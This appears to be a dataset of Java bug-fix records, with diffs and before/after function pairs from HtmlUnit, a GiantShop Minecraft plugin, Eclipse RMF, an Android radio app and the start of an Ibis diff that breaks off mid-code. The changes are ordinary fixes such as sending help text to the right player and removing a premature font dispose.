setPlatform(final String platform) { platform_ = platform; } /** * @param systemLanguage the systemLanguage to set */ public void setSystemLanguage(final String systemLanguage) { systemLanguage_ = systemLanguage; } /** * @param userAgent the userAgent to set */ public void setUserAgent(final String userAgent) { userAgent_ = userAgent; } /** * @param userLanguage the userLanguage to set */ public void setUserLanguage(final String userLanguage) { userLanguage_ = userLanguage; } /** * @param browserVersion the browserVersion to set */ public void setBrowserVersion(final float browserVersion) { browserVersionNumeric_ = browserVersion; } /** * @return the browserVersionNumeric */ public float getBrowserVersionNumeric() { return browserVersionNumeric_; } /** * {@inheritDoc} */ @Override public boolean equals(final Object o) { return EqualsBuilder.reflectionEquals(this, o); } /** * {@inheritDoc} */ @Override public int hashCode() { return HashCodeBuilder.reflectionHashCode(this); } /** * Returns the available plugins. This makes only sense for Firefox as only this * browser makes this kind of information available via JavaScript. * @return the available plugins */ public Set<PluginConfiguration> getPlugins() { return plugins_; } /** * Indicates if this instance has the given feature. Used for HtmlUnit internal processing. * @param property the property name * @return <code>false</code> if this browser doesn't have this feature */ public boolean hasFeature(final BrowserVersionFeatures property) { return features_.contains(property); } /** * Returns the short name of the browser like "FF3", "IE7", ... * This is used in different tests to reference the browser to which it applies. * @return the short name (if any) */ public String getNickname() { return nickname_; } }
true
true
private void initDefaultFeatures() { try { final Properties props = new Properties(); props.load(getClass().getResourceAsStream("/com/gargoylesoftware/htmlunit/javascript/configuration/" + nickname_ + ".properties")); for (final Object key : props.keySet()) { try { features_.add(BrowserVersionFeatures.valueOf(key.toString())); } catch (final IllegalArgumentException iae) { throw new RuntimeException("Invalid entry '" + key.toString() + "' found in configuration file for BrowserVersion: " + nickname_); } } } catch (final Exception e) { throw new RuntimeException("Configuration file not found for BrowserVersion: " + nickname_); } }
private void initDefaultFeatures() { try { final Properties props = new Properties(); props.load(getClass().getResourceAsStream("/com/gargoylesoftware/htmlunit/javascript/configuration/" + nickname_ + ".properties")); for (final Object key : props.keySet()) { try { features_.add(BrowserVersionFeatures.valueOf(key.toString())); } catch (final IllegalArgumentException iae) { throw new RuntimeException("Invalid entry '" + key + "' found in configuration file for BrowserVersion: " + nickname_); } } } catch (final Exception e) { throw new RuntimeException("Configuration file not found for BrowserVersion: " + nickname_); } }
diff --git a/src/nl/giantit/minecraft/GiantShop/core/Commands/Chat/help.java b/src/nl/giantit/minecraft/GiantShop/core/Commands/Chat/help.java index be12a14..995220f 100644 --- a/src/nl/giantit/minecraft/GiantShop/core/Commands/Chat/help.java +++ b/src/nl/giantit/minecraft/GiantShop/core/Commands/Chat/help.java @@ -1,199 +1,199 @@ package nl.giantit.minecraft.GiantShop.core.Commands.Chat; import nl.giantit.minecraft.GiantShop.GiantShop; import nl.giantit.minecraft.GiantShop.Misc.Heraut; import nl.giantit.minecraft.GiantShop.Misc.Messages; import nl.giantit.minecraft.GiantShop.core.config; import nl.giantit.minecraft.GiantShop.core.perms.Permission; import org.bukkit.entity.Player; import java.util.ArrayList; import java.util.HashMap; /** * * @author Giant */ public class help { private static ArrayList<String[]> entries = new ArrayList<String[]>(); private static config conf = config.Obtain(); private static Permission perms = GiantShop.getPlugin().getPermHandler().getEngine(); private static Messages mH = GiantShop.getPlugin().getMsgHandler(); private static void init() { entries = new ArrayList<String[]>(); entries.add(new String[] {"shop", "Show GiantShop help page 1", "null"}); entries.add(new String[] {"shop help|h|? (page)", "Show GiantShop help page x", "null"}); entries.add(new String[] {"shop sendhelp|sh [receiver] (page)", "Send GiantShop help page x to player y", "giantshop.admin.sendhelp"}); entries.add(new String[] {"shop list|l (page)", "Show all items in the shop", "giantshop.shop.list"}); entries.add(new String[] {"shop check|c [item](:[type])", "Show all available item info for item x", "giantshop.shop.check"}); // entries.add(new String[] {"shop search (part)", "Show all items matching (part)", "giantshop.shop.search"}); //Future plans! entries.add(new String[] {"shop buy|b [item](:[type]) (amount)", "Buy (amount) of item (item)", "giantshop.shop.buy"}); entries.add(new String[] {"shop gift|g [player[ [item](:[type]) (amount)", "Gift (amount) of item (item) to player (player)", "giantshop.shop.gift"}); entries.add(new String[] {"shop sell|s [item](:[type]) (amount)", "Sell (amount) of item (item)", "giantshop.shop.sell"}); entries.add(new String[] {"shop discount|d (page)", "Show your available discounts", "giantshop.shop.discount.list"}); entries.add(new String[] {"shop add|a [item](:[type]) [amount] [sellFor] (buyFor) (stock)", "Add an item to the shop", "giantshop.admin.add"}); entries.add(new String[] {"shop update|u select [item](:[type])", "Select an item for updating", "giantshop.admin.update"}); entries.add(new String[] {"shop update|u show", "Show current details for the selected item", "giantshop.admin.update"}); entries.add(new String[] {"shop update|u set sellFor [new value]", "Update the amount of money needed for buying", "giantshop.admin.update"}); entries.add(new String[] {"shop update|u set buyFor [new value]", "Update the amount of money a player receives on selling", "giantshop.admin.update"}); entries.add(new String[] {"shop update|u set stock [new value]", "Update the quantity of items in the shop", "giantshop.admin.update"}); entries.add(new String[] {"shop update|u set perStack [new value]", "Update the quantity of items per amount", "giantshop.admin.update"}); entries.add(new String[] {"shop update|u save", "Saves the changes that you made to the item", "giantshop.admin.update"}); entries.add(new String[] {"shop remove|r [item](:[type])", "Remove an item from the shop", "giantshop.admin.remove"}); entries.add(new String[] {"shop discount|d list|l all|a (page)", "Show all discounts page x", "giantshop.admin.discount.list"}); entries.add(new String[] {"shop discount|d list|l all|a (-p:[page]) (-u:[user]) (-g:[group])", "Show all discounts page x for user u or group g", "giantshop.admin.discount.list"}); entries.add(new String[] {"shop discount|d add|a (-i:[itemID]) (-t:[type]) (-u:[user]) (-g:[group]) -d:[discount]", "Add a discount to the shop", "giantshop.admin.discount.add"}); entries.add(new String[] {"shop discount|d update|u -id:[discountID] -d:[discount]", "Update discount x to y", "giantshop.admin.discount.update"}); entries.add(new String[] {"shop discount|d remove|r -id:[discountID]", "Remove discount from the shop", "giantshop.admin.discount.remove"}); entries.add(new String[] {"shop reload|rel", "Reload the config file.", "giantshop.admin.reload"}); } public static void showHelp(Player player, String[] args) { if(entries.isEmpty()) init(); ArrayList<String[]> uEntries = new ArrayList<String[]>(); for(int i = 0; i < entries.size(); i++) { String[] data = entries.get(i); String permission = data[2]; if(permission.equalsIgnoreCase("null") || perms.has((Player)player, (String)permission)) { uEntries.add(data); }else{ continue; } } String name = GiantShop.getPlugin().getPubName(); int perPage = conf.getInt("GiantShop.global.perPage"); int curPag = 0; if(args.length >= 2) { try{ curPag = Integer.parseInt(args[1]); }catch(Exception e) { curPag = 1; } }else curPag = 1; curPag = (curPag > 0) ? curPag : 1; int pages = ((int)Math.ceil((double)uEntries.size() / (double)perPage) < 1) ? 1 : (int)Math.ceil((double)uEntries.size() / (double)perPage); int start = (curPag * perPage) - perPage; if(uEntries.size() <= 0) { Heraut.say(player, "&e[&3" + name + "&e]" + mH.getMsg(Messages.msgType.ERROR, "noHelpEntries")); }else if(curPag > pages) { HashMap<String, String> d = new HashMap<String, String>(); d.put("list", "help"); d.put("pages", String.valueOf(pages)); Heraut.say(player, "&e[&3" + name + "&e]" + mH.getMsg(Messages.msgType.ERROR, "pageOverMax", d)); }else{ HashMap<String, String> d = new HashMap<String, String>(); d.put("page", String.valueOf(curPag)); d.put("maxPages", String.valueOf(pages)); Heraut.say(player, "&e[&3" + name + "&e]" + mH.getMsg(Messages.msgType.MAIN, "helpPageHead", d)); for(int i = start; i < (((start + perPage) > uEntries.size()) ? uEntries.size() : (start + perPage)); i++) { String[] data = uEntries.get(i); HashMap<String, String> params = new HashMap<String, String>(); params.put("command", data[0]); params.put("description", data[1]); Heraut.say(player, mH.getMsg(Messages.msgType.MAIN, "helpCommand", params)); } } } public static void sendHelp(Player player, String[] args) { if(entries.isEmpty()) init(); String name = conf.getString("GiantShop.global.name"); int perPage = conf.getInt("GiantShop.global.perPage"); int curPag = 0; String usr; if(args.length >= 2) { usr = args[1]; if(args.length >= 3) { try{ curPag = Integer.parseInt(args[2]); }catch(Exception e) { curPag = 1; } }else curPag = 1; }else{ curPag = 1; usr = null; } if(usr != null) { Player receiver = GiantShop.getPlugin().getServer().getPlayer(usr); if(receiver != null && receiver.isOnline()) { ArrayList<String[]> uEntries = new ArrayList<String[]>(); for(int i = 0; i < entries.size(); i++) { String[] data = entries.get(i); String permission = data[2]; if(permission.equalsIgnoreCase("null") || perms.has(receiver, (String)permission)) { uEntries.add(data); }else{ continue; } } curPag = (curPag > 0) ? curPag : 1; int pages = ((int)Math.ceil((double)uEntries.size() / (double)perPage) < 1) ? 1 : (int)Math.ceil((double)uEntries.size() / (double)perPage); int start = (curPag * perPage) - perPage; if(uEntries.size() <= 0) { Heraut.say(player, "&e[&3" + name + "&e]" + mH.getMsg(Messages.msgType.ERROR, "noHelpEntries")); return; }else if(curPag > pages) { Heraut.say(player, "&e[&3" + name + "&e]&c My help list for player " + usr + " only has &e" + pages + " &cpages!!"); return; }else{ if(!perms.has(player, "giantshop.admin.sendhelp")) { HashMap<String, String> data = new HashMap<String, String>(); data.put("command", "sendhelp"); Heraut.say(player, mH.getMsg(Messages.msgType.ERROR, "noPermissions", data)); return; } Heraut.say(player, "&e[&3" + name + "&e]&f Sending help page &e" + curPag + "&f to player &e" + usr); Heraut.say(receiver, "&e[&3" + name + "&e]&f You were sent help by " + player.getDisplayName() + "!"); HashMap<String, String> d = new HashMap<String, String>(); d.put("page", String.valueOf(curPag)); d.put("maxPages", String.valueOf(pages)); Heraut.say(receiver, "&e[&3" + name + "&e]" + mH.getMsg(Messages.msgType.MAIN, "helpPageHead", d)); for(int i = start; i < (((start + perPage) > uEntries.size()) ? uEntries.size() : (start + perPage)); i++) { String[] data = uEntries.get(i); HashMap<String, String> params = new HashMap<String, String>(); params.put("command", data[0]); params.put("description", data[1]); - Heraut.say(player, mH.getMsg(Messages.msgType.MAIN, "helpCommand", params)); + Heraut.say(receiver, mH.getMsg(Messages.msgType.MAIN, "helpCommand", params)); } } }else{ Heraut.say(player, "&e[&3" + name + "&e]&c The requested player does not seem to be offline or even not existing! :("); } }else{ help.showHelp(player, args); } } }
true
true
public static void sendHelp(Player player, String[] args) { if(entries.isEmpty()) init(); String name = conf.getString("GiantShop.global.name"); int perPage = conf.getInt("GiantShop.global.perPage"); int curPag = 0; String usr; if(args.length >= 2) { usr = args[1]; if(args.length >= 3) { try{ curPag = Integer.parseInt(args[2]); }catch(Exception e) { curPag = 1; } }else curPag = 1; }else{ curPag = 1; usr = null; } if(usr != null) { Player receiver = GiantShop.getPlugin().getServer().getPlayer(usr); if(receiver != null && receiver.isOnline()) { ArrayList<String[]> uEntries = new ArrayList<String[]>(); for(int i = 0; i < entries.size(); i++) { String[] data = entries.get(i); String permission = data[2]; if(permission.equalsIgnoreCase("null") || perms.has(receiver, (String)permission)) { uEntries.add(data); }else{ continue; } } curPag = (curPag > 0) ? curPag : 1; int pages = ((int)Math.ceil((double)uEntries.size() / (double)perPage) < 1) ? 1 : (int)Math.ceil((double)uEntries.size() / (double)perPage); int start = (curPag * perPage) - perPage; if(uEntries.size() <= 0) { Heraut.say(player, "&e[&3" + name + "&e]" + mH.getMsg(Messages.msgType.ERROR, "noHelpEntries")); return; }else if(curPag > pages) { Heraut.say(player, "&e[&3" + name + "&e]&c My help list for player " + usr + " only has &e" + pages + " &cpages!!"); return; }else{ if(!perms.has(player, "giantshop.admin.sendhelp")) { HashMap<String, String> data = new HashMap<String, String>(); data.put("command", "sendhelp"); Heraut.say(player, mH.getMsg(Messages.msgType.ERROR, "noPermissions", data)); return; } Heraut.say(player, "&e[&3" + name + "&e]&f Sending help page &e" + curPag + "&f to player &e" + usr); Heraut.say(receiver, "&e[&3" + name + "&e]&f You were sent help by " + player.getDisplayName() + "!"); HashMap<String, String> d = new HashMap<String, String>(); d.put("page", String.valueOf(curPag)); d.put("maxPages", String.valueOf(pages)); Heraut.say(receiver, "&e[&3" + name + "&e]" + mH.getMsg(Messages.msgType.MAIN, "helpPageHead", d)); for(int i = start; i < (((start + perPage) > uEntries.size()) ? uEntries.size() : (start + perPage)); i++) { String[] data = uEntries.get(i); HashMap<String, String> params = new HashMap<String, String>(); params.put("command", data[0]); params.put("description", data[1]); Heraut.say(player, mH.getMsg(Messages.msgType.MAIN, "helpCommand", params)); } } }else{ Heraut.say(player, "&e[&3" + name + "&e]&c The requested player does not seem to be offline or even not existing! :("); } }else{ help.showHelp(player, args); } }
public static void sendHelp(Player player, String[] args) { if(entries.isEmpty()) init(); String name = conf.getString("GiantShop.global.name"); int perPage = conf.getInt("GiantShop.global.perPage"); int curPag = 0; String usr; if(args.length >= 2) { usr = args[1]; if(args.length >= 3) { try{ curPag = Integer.parseInt(args[2]); }catch(Exception e) { curPag = 1; } }else curPag = 1; }else{ curPag = 1; usr = null; } if(usr != null) { Player receiver = GiantShop.getPlugin().getServer().getPlayer(usr); if(receiver != null && receiver.isOnline()) { ArrayList<String[]> uEntries = new ArrayList<String[]>(); for(int i = 0; i < entries.size(); i++) { String[] data = entries.get(i); String permission = data[2]; if(permission.equalsIgnoreCase("null") || perms.has(receiver, (String)permission)) { uEntries.add(data); }else{ continue; } } curPag = (curPag > 0) ? curPag : 1; int pages = ((int)Math.ceil((double)uEntries.size() / (double)perPage) < 1) ? 1 : (int)Math.ceil((double)uEntries.size() / (double)perPage); int start = (curPag * perPage) - perPage; if(uEntries.size() <= 0) { Heraut.say(player, "&e[&3" + name + "&e]" + mH.getMsg(Messages.msgType.ERROR, "noHelpEntries")); return; }else if(curPag > pages) { Heraut.say(player, "&e[&3" + name + "&e]&c My help list for player " + usr + " only has &e" + pages + " &cpages!!"); return; }else{ if(!perms.has(player, "giantshop.admin.sendhelp")) { HashMap<String, String> data = new HashMap<String, String>(); data.put("command", "sendhelp"); Heraut.say(player, mH.getMsg(Messages.msgType.ERROR, "noPermissions", data)); return; } Heraut.say(player, "&e[&3" + name + "&e]&f Sending help page &e" + curPag + "&f to player &e" + usr); Heraut.say(receiver, "&e[&3" + name + "&e]&f You were sent help by " + player.getDisplayName() + "!"); HashMap<String, String> d = new HashMap<String, String>(); d.put("page", String.valueOf(curPag)); d.put("maxPages", String.valueOf(pages)); Heraut.say(receiver, "&e[&3" + name + "&e]" + mH.getMsg(Messages.msgType.MAIN, "helpPageHead", d)); for(int i = start; i < (((start + perPage) > uEntries.size()) ? uEntries.size() : (start + perPage)); i++) { String[] data = uEntries.get(i); HashMap<String, String> params = new HashMap<String, String>(); params.put("command", data[0]); params.put("description", data[1]); Heraut.say(receiver, mH.getMsg(Messages.msgType.MAIN, "helpCommand", params)); } } }else{ Heraut.say(player, "&e[&3" + name + "&e]&c The requested player does not seem to be offline or even not existing! :("); } }else{ help.showHelp(player, args); } }
diff --git a/org.eclipse.rmf.pror.reqif10.presentation.headline/src/org/eclipse/rmf/pror/presentation/headline/ui/HeadlineCellRenderer.java b/org.eclipse.rmf.pror.reqif10.presentation.headline/src/org/eclipse/rmf/pror/presentation/headline/ui/HeadlineCellRenderer.java index 0950c126..fe7a3a54 100644 --- a/org.eclipse.rmf.pror.reqif10.presentation.headline/src/org/eclipse/rmf/pror/presentation/headline/ui/HeadlineCellRenderer.java +++ b/org.eclipse.rmf.pror.reqif10.presentation.headline/src/org/eclipse/rmf/pror/presentation/headline/ui/HeadlineCellRenderer.java @@ -1,79 +1,77 @@ /******************************************************************************* * Copyright (c) 2011 Formal Mind GmbH and University of Dusseldorf. * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * http://www.eclipse.org/legal/epl-v10.html * * Contributors: * Michael Jastram - initial API and implementation ******************************************************************************/ package org.eclipse.rmf.pror.presentation.headline.ui; import org.eclipse.jface.resource.FontRegistry; import org.eclipse.jface.resource.JFaceResources; import org.eclipse.rmf.pror.reqif10.editor.presentation.service.IProrCellRenderer; import org.eclipse.rmf.reqif10.AttributeValue; import org.eclipse.rmf.reqif10.AttributeValueSimple; import org.eclipse.rmf.reqif10.common.util.ReqIF10Util; import org.eclipse.swt.SWT; import org.eclipse.swt.graphics.Font; import org.eclipse.swt.graphics.FontData; import org.eclipse.swt.graphics.GC; import org.eclipse.swt.graphics.Rectangle; public class HeadlineCellRenderer implements IProrCellRenderer { private String fontHandle = "pror_headline_font-"; private Font font; private int fontSize; private boolean fontSizeChanged = false; public HeadlineCellRenderer(String identifier) { this.fontHandle = "pror_headline_font-" + identifier; } public void setDatatypeId(String identifier) { this.fontHandle = "pror_headline_font-" + identifier; setFontSize(fontSize); } public void setFontSize(final int fontSize) { this.fontSize = fontSize; this.fontSizeChanged = true; } public int doDrawCellContent(GC gc, Rectangle rect, Object value) { AttributeValueSimple av = (AttributeValueSimple) value; // System.out.println("ReqIF: " + ReqIF10Util.getReqIF(av)); String text = " "; if (av != null && ReqIF10Util.getTheValue(av) != null) { text = ReqIF10Util.getTheValue(av).toString(); } if (font == null || font.isDisposed() || fontSizeChanged) { FontRegistry fr = JFaceResources.getFontRegistry(); FontData[] fontData = { new FontData("Arial", fontSize, SWT.BOLD) }; - if (font != null) - font.dispose(); fr.put(fontHandle + this, fontData); font = fr.get(fontHandle + this); fontSizeChanged = false; } // System.out.println("fontsize = " + fontSize); // System.out.println("real font= " + font.getFontData()[0].height); gc.setFont(font); gc.drawText(text, rect.x, rect.y); return gc.textExtent(text).y; } public String doDrawHtmlContent(AttributeValue value) { AttributeValueSimple av = (AttributeValueSimple) value; return "<div style='font-size: " + fontSize + "pt; font-weight: bold; padding-top: 4pt;'>" + ReqIF10Util.getTheValue(av) + "</div>"; } }
true
true
public int doDrawCellContent(GC gc, Rectangle rect, Object value) { AttributeValueSimple av = (AttributeValueSimple) value; // System.out.println("ReqIF: " + ReqIF10Util.getReqIF(av)); String text = " "; if (av != null && ReqIF10Util.getTheValue(av) != null) { text = ReqIF10Util.getTheValue(av).toString(); } if (font == null || font.isDisposed() || fontSizeChanged) { FontRegistry fr = JFaceResources.getFontRegistry(); FontData[] fontData = { new FontData("Arial", fontSize, SWT.BOLD) }; if (font != null) font.dispose(); fr.put(fontHandle + this, fontData); font = fr.get(fontHandle + this); fontSizeChanged = false; } // System.out.println("fontsize = " + fontSize); // System.out.println("real font= " + font.getFontData()[0].height); gc.setFont(font); gc.drawText(text, rect.x, rect.y); return gc.textExtent(text).y; }
public int doDrawCellContent(GC gc, Rectangle rect, Object value) { AttributeValueSimple av = (AttributeValueSimple) value; // System.out.println("ReqIF: " + ReqIF10Util.getReqIF(av)); String text = " "; if (av != null && ReqIF10Util.getTheValue(av) != null) { text = ReqIF10Util.getTheValue(av).toString(); } if (font == null || font.isDisposed() || fontSizeChanged) { FontRegistry fr = JFaceResources.getFontRegistry(); FontData[] fontData = { new FontData("Arial", fontSize, SWT.BOLD) }; fr.put(fontHandle + this, fontData); font = fr.get(fontHandle + this); fontSizeChanged = false; } // System.out.println("fontsize = " + fontSize); // System.out.println("real font= " + font.getFontData()[0].height); gc.setFont(font); gc.drawText(text, rect.x, rect.y); return gc.textExtent(text).y; }
diff --git a/src/main/java/com/deepmine/by/MainActivity.java b/src/main/java/com/deepmine/by/MainActivity.java index 41de283..5726ac3 100644 --- a/src/main/java/com/deepmine/by/MainActivity.java +++ b/src/main/java/com/deepmine/by/MainActivity.java @@ -1,245 +1,245 @@ package com.deepmine.by; import android.app.ProgressDialog; import android.content.Intent; import android.graphics.Bitmap; import android.net.Uri; import android.os.Bundle; import android.app.Activity; import android.util.Log; import android.view.View; import android.widget.AdapterView; import android.widget.ImageView; import android.widget.ListView; import android.widget.SimpleAdapter; import android.widget.TextView; import android.widget.Toast; import com.androidquery.AQuery; import com.androidquery.callback.AjaxCallback; import com.androidquery.callback.AjaxStatus; import java.net.MalformedURLException; import java.util.Timer; import com.deepmine.by.components.TimerTaskPlus; import com.deepmine.by.helpers.Constants; import com.deepmine.by.adapters.ItemImageBinder; import com.deepmine.by.helpers.GSONTransformer; import com.deepmine.by.helpers.ImageThreadLoader; import com.deepmine.by.helpers.ResourceHelper; import com.deepmine.by.models.Blocks; import com.deepmine.by.services.DataService; import com.deepmine.by.services.MediaService; import com.deepmine.by.services.RadioService; import com.google.analytics.tracking.android.EasyTracker; public class MainActivity extends Activity implements Constants { public static String TAG = MAIN_TAG+":MainActivity"; private ImageView mPlayBtn; private ListView mListView; public static TextView mTrackArtist; public static TextView mTrack; public static ImageView mCover; private ProgressDialog loadingDialog = null; private Intent _radioService; private Intent _dataService; private String _lastCover = ""; private AQuery _aQuery = new AQuery(this); private ImageThreadLoader imageThreadLoader = new ImageThreadLoader(); @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); ResourceHelper.getInstance().init(this); EasyTracker.getInstance().activityStart(this); // Add this method. startDataService(); mTrackArtist = (TextView) findViewById(R.id.artist); mTrack = (TextView) findViewById(R.id.track); mPlayBtn = (ImageView) findViewById(R.id.playBtn); mCover = (ImageView) findViewById(R.id.trackCover); mListView = (ListView) findViewById(R.id.listEvents); _radioService = new Intent(this, RadioService.class); updateTitle(); getEvents(); } @Override public void onStart() { EasyTracker.getInstance().activityStart(this); super.onStart(); } @Override public void onStop() { EasyTracker.getInstance().activityStop(this); super.onStop(); } @Override public void onDestroy() { RadioService.stop(); stopService(_radioService); stopService(_dataService); super.onDestroy(); } protected void startDataService() { if(!DataService.status()) { _dataService = new Intent(getApplicationContext(),DataService.class); startService(_dataService); } } protected void updateTitle() { new Timer().scheduleAtFixedRate(new TimerTaskPlus() { @Override public void run() { handler.post(new Runnable() { public void run() { if (!DataService.getDataTitle().title.equals("") && !MediaService.isPlaying()) { mTrackArtist.setText(DataService.getDataTitle().artist); mTrack.setText(DataService.getDataTitle().track); if (!_lastCover.equals(DataService.getDataTitle().cover)) { try { imageThreadLoader.loadImage(DataService.getDataTitle().cover, new ImageThreadLoader.ImageLoadedListener() { @Override public void imageLoaded(Bitmap imageBitmap) { mCover.setImageBitmap(imageBitmap); } }); } catch (MalformedURLException e) { Log.d(TAG, "Error image load:" + e.getMessage()); } } } - else + else if(MediaService.isPlaying() ) { mTrackArtist.setText(MediaService.getDataTitle().artist); mTrack.setText(MediaService.getDataTitle().track); if (!_lastCover.equals(MediaService.getDataTitle().cover)) { try { _lastCover= MediaService.getDataTitle().cover; imageThreadLoader.loadImage(MediaService.getDataTitle().cover, new ImageThreadLoader.ImageLoadedListener() { @Override public void imageLoaded(Bitmap imageBitmap) { mCover.setImageBitmap(imageBitmap); } }); } catch (MalformedURLException e) { Log.d(TAG, "Error image load:" + e.getMessage()); } } } updatePlayerStatus(); } }); } }, 1000, 1000); } public void getEvents() { _aQuery.transformer(new GSONTransformer()) .ajax( EVENT_URL, Blocks.class, new AjaxCallback<Blocks>() { public void callback(String url, Blocks blocks, AjaxStatus status) { SimpleAdapter simpleAdapter = new SimpleAdapter (getApplicationContext(), blocks.getList(), R.layout.menu_row, getResources().getStringArray(R.array.menu_row_element_names), ResourceHelper.getInstance().getIntArray(R.array.menu_row_element_ids) ); simpleAdapter.setViewBinder(new ItemImageBinder()); mListView.setAdapter(simpleAdapter); mListView.setDividerHeight(0); mListView.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView<?> adapterView, View view, int i, long l) { Intent browserIntent = new Intent( Intent.ACTION_VIEW, Uri.parse(((TextView) view .findViewById(R.id.link)).getText().toString())); startActivity(browserIntent); } }); simpleAdapter.notifyDataSetChanged(); } } ); } public void onPlay(View view) { if (RadioService.isPlaying()) stopMedia(); else playMedia(); } public void onClickTitle(View view) { startActivity(new Intent(this, NextActivity.class)); } private void playMedia() { showLoading(); startService(_radioService); } private void showLoading() { loadingDialog = new ProgressDialog(this); loadingDialog.setMessage(getText(R.string.connection)); loadingDialog.setCancelable(false); loadingDialog.setCanceledOnTouchOutside(false); loadingDialog.show(); } private void stopMedia() { RadioService.stop(); stopService(_radioService); updatePlayerStatus(); } private void updatePlayerStatus() { if (RadioService.isPlaying()) { if (loadingDialog != null && loadingDialog.isShowing()) loadingDialog.dismiss(); mPlayBtn.setImageResource(R.drawable.ic_media_pause); } else { mPlayBtn.setImageResource(R.drawable.ic_media_play); } if (RadioService.isErrors()) { if (loadingDialog != null && loadingDialog.isShowing()) loadingDialog.dismiss(); Toast.makeText(this, R.string.error_connection, Toast.LENGTH_SHORT).show(); RadioService.cleanErrors(); stopMedia(); } } }
true
true
protected void updateTitle() { new Timer().scheduleAtFixedRate(new TimerTaskPlus() { @Override public void run() { handler.post(new Runnable() { public void run() { if (!DataService.getDataTitle().title.equals("") && !MediaService.isPlaying()) { mTrackArtist.setText(DataService.getDataTitle().artist); mTrack.setText(DataService.getDataTitle().track); if (!_lastCover.equals(DataService.getDataTitle().cover)) { try { imageThreadLoader.loadImage(DataService.getDataTitle().cover, new ImageThreadLoader.ImageLoadedListener() { @Override public void imageLoaded(Bitmap imageBitmap) { mCover.setImageBitmap(imageBitmap); } }); } catch (MalformedURLException e) { Log.d(TAG, "Error image load:" + e.getMessage()); } } } else { mTrackArtist.setText(MediaService.getDataTitle().artist); mTrack.setText(MediaService.getDataTitle().track); if (!_lastCover.equals(MediaService.getDataTitle().cover)) { try { _lastCover= MediaService.getDataTitle().cover; imageThreadLoader.loadImage(MediaService.getDataTitle().cover, new ImageThreadLoader.ImageLoadedListener() { @Override public void imageLoaded(Bitmap imageBitmap) { mCover.setImageBitmap(imageBitmap); } }); } catch (MalformedURLException e) { Log.d(TAG, "Error image load:" + e.getMessage()); } } } updatePlayerStatus(); } }); } }, 1000, 1000); }
protected void updateTitle() { new Timer().scheduleAtFixedRate(new TimerTaskPlus() { @Override public void run() { handler.post(new Runnable() { public void run() { if (!DataService.getDataTitle().title.equals("") && !MediaService.isPlaying()) { mTrackArtist.setText(DataService.getDataTitle().artist); mTrack.setText(DataService.getDataTitle().track); if (!_lastCover.equals(DataService.getDataTitle().cover)) { try { imageThreadLoader.loadImage(DataService.getDataTitle().cover, new ImageThreadLoader.ImageLoadedListener() { @Override public void imageLoaded(Bitmap imageBitmap) { mCover.setImageBitmap(imageBitmap); } }); } catch (MalformedURLException e) { Log.d(TAG, "Error image load:" + e.getMessage()); } } } else if(MediaService.isPlaying() ) { mTrackArtist.setText(MediaService.getDataTitle().artist); mTrack.setText(MediaService.getDataTitle().track); if (!_lastCover.equals(MediaService.getDataTitle().cover)) { try { _lastCover= MediaService.getDataTitle().cover; imageThreadLoader.loadImage(MediaService.getDataTitle().cover, new ImageThreadLoader.ImageLoadedListener() { @Override public void imageLoaded(Bitmap imageBitmap) { mCover.setImageBitmap(imageBitmap); } }); } catch (MalformedURLException e) { Log.d(TAG, "Error image load:" + e.getMessage()); } } } updatePlayerStatus(); } }); } }, 1000, 1000); }
diff --git a/src/ibis/ipl/Ibis.java b/src/ibis/ipl/Ibis.java index af46eb88..11e5f7b5 100644 --- a/src/ibis/ipl/Ibis.java +++ b/src/ibis/ipl/Ibis.java @@ -1,829 +1,833 @@ package ibis.ipl; import ibis.util.IPUtils; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStream; import java.util.ArrayList; import java.util.Properties; import java.util.StringTokenizer; /** * This class defines the Ibis API, which can be implemented by an Ibis * implementation. Every JVM may run multiple Ibis implementations. * The user can request a list of available implementations, query their * properties, and then load the desired Ibis implementation at runtime. * An Ibis implementation offers certain PortType properties. * * On startup, Ibis tries to load properties files in the following order: * <br> * - ibis.property.file; * <br> * - current_dir/ibis_properties; * <br> * - home_dir/ibis_properties. * <br> */ public abstract class Ibis { /** A user-defined (or system-invented) name for this Ibis. */ protected String name; /** The implementation name, for instance ibis.impl.tcp.TcpIbis. */ protected String implName; /** A user-supplied resize handler, with join/leave upcalls. */ protected ResizeHandler resizeHandler; /** User properties */ private StaticProperties requiredprops; /** User properties, combined with required properties. */ private StaticProperties combinedprops; /** A list of available ibis implementations. */ private static ArrayList implList; /** A list of nicknames for available ibis implementations. */ private static ArrayList nicknameList; /** Properties of available ibis implementations. */ private static ArrayList implProperties; /* StaticProperties list */ /** The currently loaded Ibises. */ private static ArrayList loadedIbises = new ArrayList(); /** The default Ibis nickname. */ private static String defaultIbisNickname; /** The default Ibis classname. */ private static String defaultIbisName; static { try { readGlobalProperties(); } catch(IOException e) { System.err.println("exception in readGlobalProperties: " + e); e.printStackTrace(); System.exit(1); } } /** Loads a native library with ibis. It might not be possible to load libraries the normal way, because Ibis applications might override the bootclasspath when the classlibraries have been rewritten. In that case, the classloader will use the sun.boot.library.path which is not portable. @param name the name of the library to be loaded. @exception SecurityException may be thrown by loadLibrary. @exception UnsatisfiedLinkError may be thrown by loadLibrary. **/ public static void loadLibrary(String name) throws SecurityException, UnsatisfiedLinkError { Properties p = System.getProperties(); String libPath = p.getProperty("ibis.library.path"); if(libPath != null) { String s = System.mapLibraryName(name); // System.err.println("LOADING IBIS LIB: " + libPath + "/" + s); System.load(libPath + "/" + s); return; } // Fall back to regular loading. // This might not work, or it might not :-) // System.err.println("LOADING NON IBIS LIB: " + name); System.loadLibrary(name); } /** * Creates a new Ibis instance. Instances must be given a unique name, * which identifies the instance. Lookups are done using this name. If * the user tries to create two instances with the same name, an * IbisException will be thrown. * * @param name a unique name, identifying this Ibis instance. * @param implName the name of the implementation. * @param resizeHandler will be invoked when Ibises join and leave, and * may be null to indicate that resize notifications are not wanted. * @return the new Ibis instance. * * @exception ibis.ipl.IbisException two Ibis instances with the same * implName are created, or any IbisException the implementation * throws at its initialization * @exception IllegalArgumentException name or implName are null, or * do not correspond to an existing Ibis implementation * @exception ConnectionRefusedException is thrown when the name turns * out to be not unique. */ public static Ibis createIbis(String name, String implName, ResizeHandler resizeHandler) throws IbisException, ConnectionRefusedException { return createIbis(name, implName, null, null, resizeHandler); } private static Ibis createIbis(String name, String implName, StaticProperties prop, StaticProperties reqprop, 